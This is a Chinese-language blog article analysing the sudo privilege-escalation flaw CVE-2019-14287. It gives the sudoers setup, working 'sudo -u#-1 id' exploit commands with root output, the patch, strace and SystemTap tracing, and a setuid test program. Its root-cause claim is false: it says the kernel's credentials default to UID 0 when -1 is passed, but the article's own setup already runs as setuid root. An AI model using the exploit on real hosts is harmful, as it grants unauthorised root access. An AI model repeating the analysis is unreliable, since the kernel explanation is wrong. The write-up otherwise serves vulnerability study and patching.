您好,登錄后才能下訂單哦!
今天就跟大家聊聊有關(guān)Linux sudo漏洞CVE-2019-14287的實(shí)例分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。
sudo 被爆光一個漏洞,非授權(quán)的特權(quán)用戶可以繞過限制獲得特權(quán)。
實(shí)驗(yàn)環(huán)境:
操作系統(tǒng) | CentOS Linux release 7.5.1804 |
---|---|
內(nèi)核 | 3.10.0-862.14.4.el7.x86_64 |
sudo 版本 | 1.8.19p2 |
首先添加一個系統(tǒng)帳號 test_sudo 作為實(shí)驗(yàn)所用:
[root@localhost ~] # useradd test_sudo
然后用 root 身份在 /etc/sudoers 中增加:
test_sudo ALL=(ALL,!root) /usr/bin/id
表示允許 test_sudo 帳號以非 root 外的身份執(zhí)行 /usr/bin/id,如果試圖以 root 帳號運(yùn)行 id 命令則會被拒絕:
[test_sudo@localhost ~] $ sudo id 對不起,用戶 test_sudo 無權(quán)以 root 的身份在 localhost.localdomain 上執(zhí)行 /bin/id。
sudo -u 也可以通過指定 UID 的方式來代替用戶,當(dāng)指定的 UID 為 -1 或 4294967295(-1 的補(bǔ)碼,其實(shí)內(nèi)部是按無符號整數(shù)處理的) 時(shí),因此可以觸發(fā)漏洞,繞過上面的限制并以 root 身份執(zhí)行命令:
[test_sudo@localhost ~]$ sudo -u#-1 id uid=0(root) gid=1004(test_sudo) 組=1004(test_sudo) 環(huán)境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [test_sudo@localhost ~]$ sudo -u#4294967295 id uid=0(root) gid=1004(test_sudo) 組=1004(test_sudo) 環(huán)境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
在官方代碼倉庫找到提交的修復(fù)代碼:https://www.sudo.ws/repos/sudo/rev/83db8dba09e7。
從提交的代碼來看,只修改了 lib/util/strtoid.c。strtoid.c 中定義的 sudo_strtoid_v1 函數(shù)負(fù)責(zé)解析參數(shù)中指定的 UID 字符串,補(bǔ)丁關(guān)鍵代碼:
/* Disallow id -1, which means "no change". */if (!valid_separator(p, ep, sep) || llval == -1 || llval == (id_t)UINT_MAX) { if (errstr != NULL) *errstr = N_("invalid value"); errno = EINVAL; goto done; }
llval 變量為解析后的值,不允許 llval 為 -1 和 UINT_MAX(4294967295)。
也就是補(bǔ)丁只限制了取值而已,從漏洞行為來看,如果為 -1,最后得到的 UID 卻是 0,為什么不能為 -1?當(dāng) UID 為 -1 的時(shí)候,發(fā)生了什么呢?繼續(xù)深入分析一下。
我們先用 strace 跟蹤下系統(tǒng)調(diào)用看看:
[root@localhost ~]# strace -u test_sudo sudo -u#-1 id
因?yàn)?strace -u 參數(shù)需要 root 身份才能使用,因此上面命令需要先切換到 root 帳號下,然后用 test_sudo 身份執(zhí)行了 sudo -u#-1 id 命令。從輸出的系統(tǒng)調(diào)用中,注意到:
setresuid(-1, -1, -1) = 0
sudo 內(nèi)部調(diào)用了 setresuid 來提升權(quán)限(雖然還調(diào)用了其他設(shè)置組之類的函數(shù),但先不做分析),并且傳入的參數(shù)都是 -1。
因此,我們做一個簡單的實(shí)驗(yàn)來調(diào)用 setresuid(-1, -1, -1) ,看看為什么執(zhí)行后會是 root 身份,代碼如下:
#include <stdio.h>#include <sys/types.h>#include <unistd.h>int main() { setresuid(-1, -1, -1); setuid(0); printf("EUID: %d, UID: %d\n", geteuid(), getuid()); return 0;}
注意,需要將編譯后的二進(jìn)制文件所屬用戶改為 root,并加上 s 位,當(dāng)設(shè)置了 s 位后,其他帳號執(zhí)行時(shí)就會以文件所屬帳號的身份運(yùn)行。
為了方便,我直接在 root 帳號下編譯,并加 s 位:
[root@localhost tmp] # gcc test.c [root@localhost tmp] # chmod +s a.out
然后以 test_sudo 帳號執(zhí)行 a.out:
[test_sudo@localhost tmp] $ ./a.out EUID: 0, UID: 0
可見,運(yùn)行后,當(dāng)前身份變成了 root。
其實(shí) setresuid 函數(shù)只是系統(tǒng)調(diào)用 setresuid32 的簡單封裝,可以在 GLibc 的源碼中看到它的實(shí)現(xiàn):
// 文件:sysdeps/unix/sysv/linux/i386/setresuid.c int __setresuid (uid_t ruid, uid_t euid, uid_t suid) { int result; result = INLINE_SETXID_SYSCALL (setresuid32, 3, ruid, euid, suid); return result; }
setresuid32 最后調(diào)用的是內(nèi)核函數(shù) sys_setresuid,它的實(shí)現(xiàn)如下:
// 文件:kernel/sys.c SYSCALL_DEFINE3(setresuid, uid_t, ruid, uid_t, euid, uid_t, suid) { ... struct cred *new; ... kruid = make_kuid(ns, ruid); keuid = make_kuid(ns, euid); ksuid = make_kuid(ns, suid); new = prepare_creds(); old = current_cred(); ... if (ruid != (uid_t) -1) { new->uid = kruid; if (!uid_eq(kruid, old->uid)) { retval = set_user(new); if (retval < 0) goto error; } } if (euid != (uid_t) -1) new->euid = keuid; if (suid != (uid_t) -1) new->suid = ksuid; new->fsuid = new->euid; ... return commit_creds(new); error: abort_creds(new); return retval; }
簡單來說,內(nèi)核在處理時(shí),會調(diào)用 prepare_creds 函數(shù)創(chuàng)建一個新的憑證結(jié)構(gòu)體,而傳遞給函數(shù)的 ruid、euid和suid 三個參數(shù)只有在不為 -1 的時(shí)候,才會將 ruid、euid 和 suid 賦值給新的憑證(見上面三個 if 邏輯),否則默認(rèn)的 UID 就是 0。最后調(diào)用 commit_creds 使憑證生效。這就是為什么傳遞 -1 時(shí),會擁有 root 權(quán)限的原因。
我們也可以寫一段 SystemTap 腳本來觀察下從應(yīng)用層調(diào)用 setresuid 并傳遞 -1 到內(nèi)核中的狀態(tài):
# 捕獲 setresuid 的系統(tǒng)調(diào)用probe syscall.setresuid { printf("exec %s, args: %s\n", execname(), argstr)}# 捕獲內(nèi)核函數(shù) sys_setresuid 接受到的參數(shù)probe kernel.function("sys_setresuid").call { printf("(sys_setresuid) arg1: %d, arg2: %d, arg3: %d\n", int_arg(1), int_arg(2), int_arg(3));}# 捕獲內(nèi)核函數(shù) prepare_creds 的返回值probe kernel.function("prepare_creds").return { # 具體數(shù)據(jù)結(jié)構(gòu)請見 linux/cred.h 中 struct cred 結(jié)構(gòu)體 printf("(prepare_cred), uid: %d; euid: %d\n", $return->uid->val, $return->euid->val)}
然后執(zhí)行:
[root@localhost tmp] # stap test.stp
接著運(yùn)行前面我們編譯的 a.out,看看 stap 捕獲到的:
exec a.out, args: -1, -1, -1 # 這里是傳遞給 setresuid 的 3 個參數(shù)(sys_setresuid) arg1: -1, arg2: -1, arg3: -1 # 這里顯示最終調(diào)用 sys_setresuid 的三個參數(shù)(prepare_cred), uid: 1000; euid: 0 # sys_setresuid 調(diào)用了 prepare_cred,可看到默認(rèn) EUID 是為 0的
看完上述內(nèi)容,你們對Linux sudo漏洞CVE-2019-14287的實(shí)例分析有進(jìn)一步的了解嗎?如果還想了解更多知識或者相關(guān)內(nèi)容,請關(guān)注億速云行業(yè)資訊頻道,感謝大家的支持。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。